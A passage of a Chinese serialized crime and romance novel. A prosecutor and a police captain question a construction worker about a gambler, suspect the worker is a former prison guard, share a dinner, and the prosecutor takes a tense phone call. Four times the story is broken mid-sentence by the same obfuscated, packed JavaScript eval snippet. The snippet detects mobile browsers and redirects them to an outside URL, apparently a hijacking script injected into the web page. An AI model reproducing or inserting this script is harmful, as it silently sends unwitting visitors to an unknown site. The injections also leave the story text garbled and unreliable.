这一出欲擒故纵,成功让路从辜更狐疑了,他一把按住应泊的双肩,迫使其面对自己,还不停地摇晃:“别吃了,快点说。” “好吧,其实也不是什么大事。你左眼有点发红发胀,可能要变成麦粒肿。”应泊不再卖关子,但钓鱼的过程确实让他找到了新的乐子,一边笑一边说,“我从下午就发现了,所以刚才帮你买了一盒发热眼罩,睡前记得敷一会儿。” 路从辜微怔,用了几秒才反应过来,低头用掌根按揉着发痒的眼睛。想着想着,自己也没忍住,绽出一个不大明显的笑: “……人其实没必要活得那么多疑。” 两个人自觉地把垃圾收拾好带出店外,免得店员再费心。并肩走到斑马线前,趁着等红灯的间隙,路从辜有意无意地问: “明天你还来吗?” 应泊思索后回答:“这个嘛……取决于被需要程度。” “什么意思?” “意思就是,如果单位比支队更需要我,我就留在单位;如果支队比单位更需要我,那我翻山越岭也会来见你。” 闻言,路从辜恍然大悟地点点头。他用一种含着戏谑的眼神打量着应泊,叫人猜不透他的心思,而后侧头望向马路对面的红绿灯,心中倒数着秒数,问:“如果我说,不是支队需要你呢?” 这下轮到应泊转不过弯了:“……你说什么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15057759|162925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我说……”路从辜刻意停了一下,再开口时却恰逢一辆摩托飞驰而过,巨大的引擎声盖住了他的话音。应泊恼怒地瞥了那鬼火一眼,又匆匆转过头来探询地看着他,但路从辜已经没了再重复的兴致,抬腿便要过马路。 应泊忙急走两步,伸手想拉住他的手腕:“等等,我没听清。” 机缘之所以是机缘,就在于那灵光一现的一刹,错过了就抓不住。路从辜避开了他的动作,头也不回地挥手: “明天见。” * 询问被安排在了路从辜的办公室,由他亲自主持。实话说,自从坐上一大队队长的交椅,一直到现在,很少有案子能让他这般如临深渊、如履薄冰。如果只是因为临近年关,倒也不至于。他试探过应泊很多次,这张大网的尽头究竟是什么,可惜论讯问技巧,他大概跟应泊是师从同一本工具书,两个人你来我往,谁也破不了谁的招,最后变成了年近三旬的大男孩斗嘴。 最可怕的总是未知。 人多力量大固然是真理,但对急性子又戒心重的人来说,总是忍不住事无巨细地亲力亲为,才觉得放心。 “郭子军,建筑工人,四十八岁……自己核对一下,你的信息都无误吧?” 疲惫、沉默、不修边幅,这是路从辜对眼前这个中年男人的初印象。他身上散发着一股混合了汗水和泥土的气息,头发夹杂一层尘土和细小的碎石粒,几缕发丝垂落在额前,遮住了一边眼睛。衣衫的布料透着油污和汗渍,领口和袖口早已磨破,露出里面同样破旧的内衬。工装裤的裤腿也长短不一,膝盖处磨得发亮,脚上则是一双早已褪色的解放鞋,鞋带系得松松垮垮,鞋面沾满了水泥点子。 正常,又不太正常的外表。 并非是挑剔,只是在路从辜的工作经验中,不论是因怎样的事由被传唤来,传唤对象都会努力把自己收拾得体面妥帖一些——大概是这样能让自己看上去像个遵纪守法的好人。这个郭子军却稀松平常得仿佛只是出工后顺路来买瓶酒,而路从辜也不是履行公务的警察,是陪他闲聊的熟识老板。 很出色的心理素质,路从辜暗忖。 应泊从两个小时前就没再回消息,也没说到底来还是不来。路从辜拿起手机解锁,没看见回复再放下;再拿起,再放下,一连周折了几回,终于忍无可忍,把手机扔进柜子里,对自己展开痛心疾首的叩问: “你真的很在意他来不来吗?其实也没有吧,你不过是觉得他来把关取证更方便罢了,并不是多想见他。他不来难道你就办不成案子吗?那也太不争气了。” 扬汤止沸而已。电脑上是提前拟好的询问提纲,路从辜盯着那密密麻麻的小四号宋体字,手指不自觉地敲打着桌面。终于,耐心耗尽前,楼道里响起一阵急促的脚步声,应泊踉跄几步,在办公室门外紧急刹住,身后还跟着同样气喘吁吁的徐蔚然。 “不好意思,我来晚了。” 他缓了口气,先是略有些茫然地端详着沙发上的郭子军,眼瞳缓缓转了两周,随即竟表现出一丝不可置信来: “你是郭子军?” 20. 连环套 “是我。”沙发上的郭子军匆忙起身,佝偻着腰,向他点头致意。应泊一手支在门上,胸膛还在随着呼吸一起一伏。他的眼型原本偏圆,此刻却变得狭长,像是发现猎物的鹰鸮,观察着时机蓄势待发。 然而,不知怎的,这只鹰鸮倏地放弃了狩猎,改换成原来的和煦神情,招手示意郭子军不必拘谨: “坐吧,不用紧张,找你来只是了解一些事情,希望你能配合。” 路从辜一直用视线跟随着他的步伐,歪着头端详了他好一会儿,问: “你今天怎么……” 前些天应泊虽然也有穿制服过来的时候,但要么解开领口扣子,要么摘掉领带。如果在下班后赶到支队,则是简简单单的毛衣长裤搭运动鞋,外罩一件很衬他身形的羊绒大衣或者风衣,极少穿羽绒服。今天却是板正的制服和皮鞋,白衬衫、红领带,扣子系得整整齐齐,黑色外套领口还挂着一枚亮闪闪的检徽。 察觉路从辜审视的目光,沙发上的应泊也低头把自己通身打量一遍,解释说:“哦……是团拜会彩排,要求全体穿戴整齐,我没想到会拖这么长时间。” 除了衣着,应泊的嘴唇也红得不太寻常。路从辜于是接着问:“还化妆了?” “部门小姑娘非要给我抹,说是提气色,上镜。”应泊用手背蹭蹭自己的嘴巴,把皮肤上淡淡的红印展示给他看,“天太干了,我忍不住舔嘴唇,都舔没了。” “那个,各位……警官。”郭子军小心翼翼地开口,“能不能先说要紧事?我急着回家给外孙女做饭。” 应泊下意识地想纠正他“是检察官不是警官”,转念一想,似乎也没有跟他较真的必要,于是便吃瘪打住。也许是不想让应泊对自己再起疑心,一旁的徐蔚然先是不自在地扭了扭身子,而后靠在沙发上闭眼假寐,给出了一副不愿参与进来的态度。 但这对应泊来说还不够。趁路从辜出言解围的功夫,他解锁手机,给张继川发消息: “蔚然刚才说想你了。” 随后,他装作事不关己地揣好手机,静待预想中的结果。五秒后,徐蔚然的手机准时振动,她压低声音问: “喂?怎么了?” 电话那边是张继川死命掐着嗓子的甜腻话音:“哎呀宝宝,我也想你,啵啵啵啵啵——” 徐蔚然大惊失色,立刻捂住电话听筒,目光慌乱地扫过屋中的其他人,但“啵啵啵”的亲吻声穿透她的指缝,以一种强劲有力的声势在办公室中回荡。应泊拖出上次去监狱看望褚正清的记忆,在脑中滚了几个来回,才成功让自己没笑出声来。 终于等到电话对面的迫击炮暂停攻势,徐蔚然才红着脸飞快地离开办公室:“我……我出去接个电话。” 相当阴毒的计谋,但确实有用。应泊压着嘴角,翘起一条腿同郭子军攀谈起来: “外孙女?几年级了?在哪个学校上学?” 拉家常是应泊最常用的卸去案件相关人员戒心的方法,功效同手术前的麻醉针没什么区别。他虽然个子长得高大了些,但长相端正秀气,五官线条柔和,眉眼间还总是含笑,相较办案组那些时常横眉冷对怒目而视的同事来说更有亲和力。不过劣势在于太面善了倒显得威慑力不足,所以他被迫锻炼出了一身极具侵略性的气场——评判标准在于一些看人下菜碟的辩护律师在见面后还会不会得寸进尺。 开场从身体是否康健聊到家人情绪如何,继而结合家庭经济水平了解一下退赃退赔情况,中场还会贴心地鼓励对方保持良好心态,他往往和悦周到得就像个温文尔雅的友人,再警惕的犯罪嫌疑人都会忍不住同他多倾诉几句衷肠,而说得越多错得越多。此时应泊就会突然单刀直入,将文书打印出来,递给对方: “这是你的量刑建议书,如果阅后没有异议,就把认罪认罚签了吧。” 张继川还在职的时候曾经围观过他讯问犯罪嫌疑人,结束后立刻戒备地同他拉开一定距离,一脸怀疑地问: “你真的没靠逢场作戏欺骗过别人感情吗?” “谁跟你似的,一天天闲得数路灯解闷儿。”应泊白了张继川一眼,“没事干就来帮我们订卷归档,少打听没用的。” 眼下,路从辜也对他这套诱敌深入的打法起了兴趣,倚靠在办公椅上,目不转睛地盯着他,也没有插话的意思。郭子军对此似乎有些意外,不知他葫芦里卖的什么药,但还是陪笑回答: “三小,平舒三小,现在上二年级。” “哦,三小我知道,以前是打工子弟学校。”应泊了然地点点头,“孩子学习还可以?小女孩一般性格稳定,坐得住,比小男孩强。” 他又在捧了,路从辜想。这种人实在很可怕,你也不知道他的称赞是出自真心还是假意,飘飘然中就会落入他早已设好的圈套。 而且,他甚至不用打草稿。 “嗐,您抬举了,我家那个……混世魔王。”郭子军嘴上如此说,神情却暴露了内心其实相当受用,“成绩倒是还可以,年年都拿奖状,就是太有主意了,现在已经开始跟我和她爸妈顶嘴了。” 应泊眉头和眼睑都微微低垂,双唇轻抿,表现出一丝关切:“小孩子嘛,有点小脾气都正常。您这是刚从工地回来?每天都要回家给孩子做饭吗?那岂不是很麻烦,您老还得来回折腾。” “折腾是折腾点,但孩子爸妈压力也大,每天早上四点多就得去店里——小两口自己开了个小饭馆。再说,我还能陪她几年啊?等上了中学,孩子就不乐意搭理我们这些老东西了。” 闻言,应泊蹙起的眉峰渐渐舒展,嘴角勾起一丝不易察觉的笑:“说得也是,多陪陪孩子也好。那您现在在忙的是什么项目?快过年了,也该收尾了吧?” 对话开始步入正题了。 “现在……现在是昌义公司的一个叫做‘阜城’的项目,但项目太大了,不止我们一个工队。这个项目做了很久,但最近一直开不出工资,我们就、就有点想撂挑子了。” “所以你就带头去找董事长钱文焘闹事了?”应泊悠悠道。 郭子军不大自在地摇摇头:“也算不上是闹事,就是催一催,毕竟快过年了,弟兄们都缺钱用。” “我们听说,当初是一个叫蒋威的人把你和你的工人介绍给昌义公司的。对于蒋威这个人……你了解多少?”路从辜借着话头问下去。 不料,郭子军并没有立刻回答他的问题,反而先是垂眼思索一会儿,又长长地叹了一声: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15057760|162925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “唉,我一猜就是因为他。” “嗯?您这话是什么意思?”应泊故作惊讶,“难不成蒋威之前给您惹了很大麻烦?” 郭子军或许已经意识到自己被套话了,但应泊根本没给他留岔开话题的空间。他重重地咋了一下舌,仿佛要鼓起相当大勇气才能道来: “他这人……好赌,而且就在钱文焘那里赌,零零碎碎算下来,输了大约也有几十万了。” 应泊和路从辜都保持安静,听他继续说下去。 “我其实也有些日子没见过他了,去年吧,去年年末,将近元旦那些天,他突然摸到我家来,要找我借钱,借两万。” 应泊轻声打断他,确认细节:“你跟女儿一家住在一起?” “对,我要么住工地,要么住闺女那里。”“具体哪一天我记不清了,但我记得是晚上九点多。他跟我说钱文焘催他还钱,今天还不上就要剁手。我没办法,从银行取了两万块钱,给了他。” “你们两个是怎么认识的?”应泊又问,“毕竟,您看着老实本分,就是个安生过日子的工人,怎么会跟这种五毒俱全的人打成一片?” 路从辜瞥了他一眼,眼神分明写着:“又捧起来了。” “我们俩是同村的,半大小子的时候就一块混。”郭子军并不避讳这个话题。路从辜翻阅着材料,问: “听公司的人说,他是你表弟?不过,你们两个好像没有血缘关系。” “这……您也知道,出来混,想互相帮扶一把,总得胡诌点亲戚关系,朋友这词说给别人听,不一定好使。” “对了,我还有个问题——”应泊仰起头,筹措了一会儿用词,“郭子军,你为什么会无怨无悔地帮蒋威还赌债?你欠了他很多吗?” “我……” 这是全程中郭子军第一次被问住,那张比实际年龄更苍老的面容自始至终都未曾有太大波动,眼下终于表现出慌乱。应泊好整以暇地望着他,也不催促他给出答案,还不忘带着笑颔首,安抚他的情绪。 “呃,就、就是……道义、感情嘛,都是自家弟兄。” 应泊继续诛心:“他用你的血汗钱填窟窿的时候,想过你是他弟兄吗?” 不待郭子军回答,应泊起身走到他身后,拍拍他的肩膀,半开玩笑道: “以后别做这个老好人了,您赚钱也不容易,家里还有个二年级的孩子,正是需要钱的时候,自己攒着做点什么不好,您说是不是?” 余光瞟见郭子军无言低下了头,应泊轻笑一声,语气仍然和缓: “今天就到这里吧,后续有需要您的地方,还希望您像今天一样配合。” 话音刚落,郭子军有如得到大赦,连忙起身向两人鞠躬,口中不住念叨“谢谢”,随即转身快步冲出办公室,竟像是逃窜一样。 望着郭子军的背影,应泊微微眯眼:“你觉不觉得,他的走路姿势……” 他有意在后半句留白,路从辜随即接上话:“不像个工人,更像是……军人,或者警察。” 随后,路从辜自己也走了几步,在办公室窗边站定,回头询问应泊: “像吗?” “像,简直一模一样。” 21. 伤痕 “警……警……”应泊双手扶着额头,呼吸变得沉滞,嘴巴微启,偶尔吐出一两个含糊不清的自语。路从辜没有听清他在说什么,侧着耳朵靠近他,应泊却停住了呓语。 少顷,应泊终于抬起头,向他吐出两个字眼:“……狱警。” 狱警?这个词像是一根针线,将路从辜脑中零碎的记忆缝合在一起。蒋威、朝阳监狱以及应泊方才初见郭子军时那副神情……路从辜紧紧盯着他的眼睛,生怕错过一丝光影的变动: “你想起什么了?” “先前到朝阳监狱打听的时候,监狱档案室给我的资料里,蒋威被关押期间曾与一名狱警斗殴,导致这名狱警被开除。”应泊话说得很慢,字斟句酌,谨慎地选择措辞,“我当时留心了一下,翻出那个狱警的照片看了看,现在想想,跟郭子军很像。” 他又不免懊恼地摇摇头:“但毕竟当时没有发生焚尸案,绍青村案也还没有重启侦查,我是以个人名义去调查。狱方愿意行这个方便,完全是看在我身份的面子上,能翻阅资料已经是额外照顾,所以这些资料我最终没能带走,也不能复印或是抄录。” “我们必须得跑一次朝阳监狱。”路从辜很快神会他的意思,一字一句坚决道,“我陪你。” 闻言,应泊迟疑着点了点头,算是同意。他倏地站起身来,转了个圈,用一种小心又期待的眼神灼灼地望着路从辜: “你觉得我今天……怎么样?” 是在讨要夸奖吗?路从辜挑了挑眉:“什么怎么样?” “就是……看上去怎么样,这一身派头精不精神?”应泊正了正领带,又故作无意地站得笔挺了些,“我刚刚进来的时候,你一直在看我,我还以为……是衣服穿反了呢。” 路从辜转了转眼睛,忽然冒出一句:“又不是穿给我看的,有必要征求我的意见吗?” 这句话噎得应泊一愣,他嗫嚅着嘴唇,结结巴巴地:“怎、怎么不是……” 但路从辜无心再与他争辩,而是径直走到门边拉开门,外面的声音骤然清晰,徐蔚然的话音远远地传过来:“……我真的是要气死……” 他向着屋内的应泊努努下巴,用口型说:“还在聊啊?” 徐蔚然站在楼道尽头的窗边,还在跟张继川通电话,她一只手无意识地拽着窗子的把手,不停地开开关关。 “……我就跟他说,我有自己的员额,如果总帮你做事,等应科需要我的时候,不就耽误事情了嘛。何况他又不是没有自己的助理,不能仗着我是新人就压榨劳动力。” “好像是你的同事欺负你的助理。”路从辜回过头,向他总结。 “她倒是没跟我提过,每次问她也只说都挺好的。”应泊也探出脑袋,两个人鬼鬼祟祟地叠在一起,一同偷听聊天内容。电话那边的张继川大概是在耐心开导她,给出解决方案,徐蔚然“嗯嗯啊啊”地应着,时不时提出方案的缺漏。 “今天怎么主动把她带来了?”路从辜拉拉他的衣角。 “她非要跟着,当着那么多领导面,我也不好拒绝。”应泊做了个为难的表情。楼道里,徐蔚然仿佛有点受不住张继川的软磨硬泡,搪塞说: “好了好了,我想想办法,问问师父有没有办法把你捎进去。那么大的团拜会,不至于混不进去吧……” 应泊低头看着路从辜,神秘一笑:“你想混进去吗?” “你有门路?” “活动是我们单位承办的,观摩的领导不多。跟上边商量商量,也许能给你们腾出几个位子。”应泊轻出了一口气,掌心向上伸出手: “愿意赏个脸吗,路队?” 路从辜却没有把手给他,只是拍了拍他的肩膀,替他整理好衬衫领口:“但愿我有时间。” 没有得到确切的答案,应泊微微蜷起手指,难掩失落地错开了目光。待二人再把注意力转投过去时,徐蔚然的目光变得黯淡,声音也渐渐弱下去: “嗯,我也知道,师父是个好人,我不会让他失望的。” 应泊垂下眼睛,沉吟无言。短暂的沉寂后,一声响亮的寒暄打破气氛:“呀,这不那天那检察院的小姐姐么,怎么在这儿站着?头儿办公室就在那边。” 虽然还未见人影,但能听出是肖恩的声音。应泊这才反应过来,似乎已经很多天没在支队看到肖恩了。唯恐被发觉自己偷听别人打电话,二人默契地一起关上门,又蹑手蹑脚地回到办公椅和沙发上,装成忙得不可开交的样子,坐等肖恩来敲门。 “头儿,我进来了。” 不需要路从辜批准,肖恩便用肩膀撞开门,迈步进来。他左手拎着几个纸袋,右手拎着一个鸟笼,那只名叫“局长”的八哥昂首挺胸地立在笼子站杆上。徐蔚然跟在他身后,抬眼跟应泊对视上,便撑出一个笑容问: “师父,你们结束了?” “哟,应检也在。”肖恩一屁股坐在沙发另一边,“我回来路上买了泡芙和麻薯,给方彗分了点,你们谁吃?” 见徐蔚然张了张嘴,最终还是拘谨地坐在自己旁边,应泊轻声提醒她:“想吃就去拿,我请过客了,不用担心欠人情。” 徐蔚然这才放心地拿来一袋,放在自己和应泊中间。路从辜原本只是好奇看看,但新鲜出炉的香气裹挟着热气扑上鼻尖,他到底没忍住尝了尝:“……你那边怎么样?” “老太太情况好多了,就是话说得不大利索,我们没告诉她儿子死了,怕她再一口气上不来。痕检把现场搜了个底朝天,凶手没有留下脚印或是指纹,但门锁凹槽发现硅胶残留,凶手应该是用模具拓印钥匙,再偷偷潜入。手法很专业,锁芯完全没有撬压痕迹。我已经按照你们给出的体貌特征安排下去了,目前还在搜查凶手。” “也就是说,他们早就盯上老太太了?” 听到这儿,正咬着麻薯的徐蔚然似乎极轻微地松了口气。 “对。”肖恩一口咬得太大,差点没咽下去,憋得脸颊通红。他擦掉手上的残渣,直接拿过路从辜的水杯,在路从辜抗议的目光下喝下大半杯,拍着胸口顺气: “没事,我不脏。” “局长”眼巴巴看着他们狼吞虎咽,扑腾翅膀焦躁地在笼子里来回蹦跳。肖恩捻了一撮鸟食,打开笼子,逗弄着它: “局长,说,你好——” “你好——去你的吧!”局长把肖恩的声音和语气学了个八成,连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15057761|162925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碎嘴都学到了精髓,“尔来四万八千岁,不与秦塞通人烟……况吾与子渔樵于江渚之上,侣鱼虾而友麋鹿,驾一叶之扁舟,举匏樽以相属……” “嚯,咱局还上过学。”应泊打趣说。肖恩忙捏住局长的鸟喙,顺便用纸捻子帮忙清理鼻涕:“好了好了,不要再背了。” 他顿了顿,又道:“头儿,你觉不觉得,手法跟五年前的那起爆炸案很像。如果你们去得晚一点,凶手得逞了,案子很有可能会被当成——” 路从辜接上他的话:“意外事故。” 想法不谋而合,肖恩颇有些得意:“蒋威当年确实是零星犯,不过赎身的钱不是家里人交的,具体是谁她也不清楚,只说是个‘大老板’。”肖恩继续说,“而且,自从蒋威入狱后,他的家人也一直被神秘人接济,我猜,跟替蒋威赎身的应该是同一个人。” “确定老太太被保护起来了?” “那妥必妥啊!”肖恩话说得中气十足,人却疲惫地仰倒在沙发上,“头儿,今天我就不加班了,太困了,刚才差点撞上人家车屁股。” “嗯,也到下班时间了。”路从辜颔首许可,随后询问应泊和徐蔚然: “你们还要回去吗?如果没什么事的话,留下来一起吃顿饭吧。” “我……”徐蔚然看向应泊,有些犹疑。不料,应泊先是低头翻口袋,而后把车钥匙塞给了她: “我不回去,你要回去的话,车钥匙在这里。” “咦?”徐蔚然回忆起上次开庭的情景,那时应泊想都没想就果断拒绝了庭长的邀请,便不解问道,“师父,你这次怎么这么……” “这叫加强检警沟通,提高协作水平。”应泊装得高深莫测,摆摆手示意她不要多言。路从辜哑然失笑,解下领带收进柜子里: “等一下,我得换件衣服,你们去外面等我吧。” “好耶!有饭吃了!”肖恩第一个蹿了出去,局长被他颠得叽叽喳喳惊叫个不停。应泊跟在徐蔚然后面,走到门口,又忍不住回望路从辜一眼,顺手带上了门。等到脚步声渐渐消弭,早有预料的路从辜从里面敲了敲门,问: “你还没走?” “我……不想丢下你一个人。”应泊自知被抓包,也不狡辩,把整个身子倚靠在门上,话音中听得出慌乱,“有需要我帮忙的吗?” “换个衣服而已,又不是小孩儿。”路从辜撇撇嘴,转而问: “外面冷吗?你说我是穿得厚一点还是薄一点?” “我来的时候不算冷,现在太阳落山了,还是多穿一点比较好。” 衬衫扣子被一颗一颗解开,袒露出精瘦结实的胸腹。应泊犹豫的问话恰在此时响起:“对了,你的伤……?” 听完,路从辜下意识地把手探向右下腹,那里卧着一道长约十公分的淡褐色疤痕。疤痕起自腰际一侧,斜斜划过腹部,直至近脐的位置,像是刀砍形成。疤痕的边缘已经变得柔和,但在灯光直射下,肉眼仍能捕捉到它初形成时那狰狞而锐利的痕迹。 “已经几乎看不见了。”鬼使神差地,路从辜心底涌起一股莫名的酸涩,不由得自嘲地笑笑,“你再晚回来几年,大概就会彻底消失了吧。” 22. 年少有为 “应检,跟咱几个还客气啥呢,吃你的,我们自己来。” 第三次被应泊帮忙添上米饭后,肖恩终于坐不住了,起身一把将应泊按回座位上。应泊讪讪地缩回手,想靠喝水掩饰尴尬,又被滚烫的茶水烫得直咳嗽: “咳、咳咳……应酬太多,习惯了。” 路从辜轻抚着他颤抖的肩背:“都是自己人,不用客套,放轻松。” 餐馆在支队附近的商场里,工作日人不算太多。在办公室里酣然大睡的方彗也被拽了出来,一直到坐在餐馆里都是睡眼朦胧的。吃到一半,肖恩收了条消息,碰碰方彗的肩膀,说: “那个业务知识竞赛的表格我替你交上去了,看你在睡觉,没好意思打扰你。” 方彗柳眉倒竖:“你填得明白吗?学校、工作时间、经历,别再给我填错了。” “咱俩不都是望海警官学院的么。话说回来,市局要研究生,我找了一圈也没找到个研究生,就法制科那边有,还不愿意去。”肖恩自顾自念叨,又抬头望向路从辜,“头儿,你……” “公安大学。” “本科?” 路从辜点点头。 他们又把目光投向徐蔚然。徐蔚然尴尬一笑,自行回答:“望海师范大学,法学学士。” “应检呢?你是研究生吧?我记得你们单位研究生还挺多的。” 应泊颔首:“燕州政法大学,刑法硕士。” “终于找到了一个了。”肖恩表现出一股与有荣焉的骄傲来,“考上的?你成绩一定很好吧?” “我高中挺散漫的,路队知道,我经常抄作业。本来成绩还可以,但中间出了点变故,最后高考只能说一般,不算太出色。”应泊直言不讳,“大学成绩也常年垫底,还挂过科。我总是旷课去做兼职赚钱,到了期末再突击,但已经学不进去了。后来痛定思痛决定考研,才慢慢调整过来。” “才大学就急着赚钱?”方彗瞪大了眼睛,“你家庭条件不太好吗?” 犹疑了半晌,几个人纷纷停下筷子,好奇地注视着他,尤其是路从辜,虽然面上佯作无谓,上半身却不自觉地贴近他,生怕错过任何一点细节似的。 见状,应泊苦笑着摇摇头,道:“家里背了点债务,我的学费都是……好心人借给我的,最后也没要我还。” 听得此言,其余的人都是一副不敢置信的表情,只有路从辜面不改色,却默默捏紧了筷子,指尖泛白。 “你都做过什么?总不能去工地搬砖吧?”肖恩不解问。 “做过很多,但不会碰体力劳动和无意义的重复劳动,那不是我的优势。”应泊倒也不避忌这个话题,轻笑着解释,“本科的时候跟朋友一起给中学生补课,那个时候课外教培风头正盛,所以赚了点小钱。研究生的时候开始辅导司法考试和考研专业课,攒了点钱。平时也会去法院门口蹲那些立案的当事人,有的不会写起诉状,我就会开低价代写,走的是薄利多销的模式。不过,因为抢了律师饭碗,破坏市场秩序,还被那些律师找人揍过,头顶被开了瓢,缝了十几针……” 言罢,应泊下意识地关注身旁路从辜的反应。余光里,路从辜神情陡然一凛,一手放在桌下,紧紧攥成拳,骨节吱嘎作响,但始终没有出言。 方彗失声惊叫:“我的天,你没报警吗?” “律师们都有自己的圈子,早就打点好了。警察不会为了我一个穷学生得罪人,只说让我自己注意点,没事别总到社会上晃悠。我没办法,也不敢告诉其他人,一个人在医院躺了几天,就回学校继续写论文了,现在想想,偏头痛应该就是那个时候加重的。” “哎呀,你走到今天真不容易,我都不敢想象是吃了多少苦。”方彗咋舌说,“我读警校的时候因为没戴帽子被纠察挑刺,委屈得给我妈打了一中午电话。” “都过去了,那时候再苦再难,现在也洗白上岸了。”应泊自我解嘲说。口袋里的手机在嗡嗡地振动,他瞥了一眼屏幕,脸色微变,道: “不好意思,我出去接个电话。” 一直跑出商场,来到一处无人的巷口,望了望四下确定无人,应泊才敢接通电话: “喂?嘉朗?” 是陈嘉朗略染疲惫的嗓音,还夹杂着几许责怪: “为什么不回家?” “我在跟朋友吃饭,你出差回来了?现在在哪儿?” 说完,应泊自己也是一怔,扶着额头无可奈何地叹了口气:“里面太热,闷得我犯糊涂了。你肯定是在我家,这还用问吗?” “在你的床上——”听声音,陈嘉朗像是把头埋在了枕头里,闷闷地深吸了一口气,“你新换的床品吗?手感有点发硬,还有留香喷雾的味道。” “那天助理点了杯奶茶,喝完一直睁眼到凌晨三点都没睡着,就爬起来把床单被罩洗了。” 应泊自认是个边界感比较强的人,不大喜欢别人离自己的私人领地太近,但面对的毕竟是从读书起就熟识,还一起步入社会打拼的密友,他又不好意思说些生分的话。听见电话那边有拨动打火机的声音,应泊才忙不迭阻拦道: “别在我床上抽烟,要是我回去闻到烟味,我就……” “就怎样?”陈嘉朗带着有恃无恐的笑意,“啪嗒”一声合上了打火机,“呵,逗你的。我带了一套真丝床品给你,需要帮你换上吗?” 很暧昧的暗示,应泊顿觉有些头痛。这并不是陈嘉朗第一次若即若离地撩拨,七年了,从校园走到名利场,从一无所有的穷小子变成各自领域的领头羊,唯一不变的是那双一直只对自己流露温柔的狭长的眼,再愚钝的傻瓜都能品出不一样的滋味来。 他有时也会觉得脊背发凉。 应泊实在不擅长处理这种事,甚至每每遭遇那出格的热情,他都会感到手足无措,能做的除了视若不见,就是生硬地拒绝。他局促地深吸一口气,又长长地吐了出来:“不要,我皮糙肉厚的,享受不来那个,你自己带走吧。” 听出他刻意敷衍,陈嘉朗仍然不肯放过他:“你那边都有什么朋友,方便带我一个吗?” “都快吃完了,还是不必了。你要是饿的话,冰箱里有我周末做好的菜,你可以将就一下。”应泊快速岔开话题,“对了,说正经事。马维山那个案子……最晚开春以后,需要再详谈一下,你看地点能不能定在靖和律所?” “你来靖和不需要报备。” “不止是我,还有个公安的朋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15057762|162925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 友。”应泊挠挠后脑勺,谨慎地试探。陈嘉朗先是沉默了半刻,再开口时明显不悦,而且隐隐带着些许傲慢的鄙夷: “你什么时候愿意跟公安那群废物沆瀣一气了?之前不是一直都嫌弃他们钱拿得多还不干活吗?” “这个人……不一样。”被他这么一逼问,应泊更窘迫了,“而且,我也想征询马维山辩护律师的意见,权衡一下,还是在靖和更方便些。” “……随你。”陈嘉朗不耐地回复。应泊不用看都知道,他一定翻了个大大的白眼。两人在电话两头沉默地僵持了一会儿,陈嘉朗终究还是按捺不住,道: “应泊,那只是一群低劣的,苟延残喘的狗一样的人,你救或不救,他们都一样要被社会的强者吃干抹净,被命运屈辱地屠宰,只是或早或晚罢了。但你不一样,你是强者,任谁见了应检察官不说一句前途无量?你走到今天,不……你爬到现在这个位子,付出了多少,牺牲了多少,你自己难道不清楚吗?谁有罪,谁清白,在这个案子里,跟你半点关系都没有。以他们贫瘠的认知,就算你搭上了自己的命,他们也绝不会感激你,社会也绝不会赞扬你,只会挑剔你做得还不够多,只会质疑你为什么没早点为他们献身。” “你我都靠揣度人心吃饭,以你的工作经历,你应该比我更清楚:在今天的大环境下,能把分内之事做得滴水不漏的,已经算是圣人。割肉饲鹰是神话,你泛滥的慈悲心救不了任何人,只会害死你自己。” 陈嘉朗的语气越发咄咄逼人,颇有点哀其不幸怒其不争的意味。应泊全身保持着一种近乎僵硬的静止,像个被家长训斥的小孩,心里憋了一万句,却一句都不敢说出来,只敢小声附和: “……我知道。” 但他又不愿意把话全都咽回肚子里,掂量了一会儿,还是不服气地反驳: “你就当我是闲得难受吧。” 唯恐接下来又是一场更严厉的狂风暴雨,下一秒应泊迅速挂断了电话,不给陈嘉朗借题发挥的机会。心乱如麻之下,他刚打算换个地方散散心,身后,路从辜的声音像冬夜的冷风一样,始料未及地从他的脊柱漫上脑中: “刚刚在跟谁打电话?” “跟……一个同学,马维山的再审律师就是他帮忙找的。”应泊回过身,顺从地把通话界面展示给他看,“准确说,是一个宿舍的室友,他学民商法方向的。” 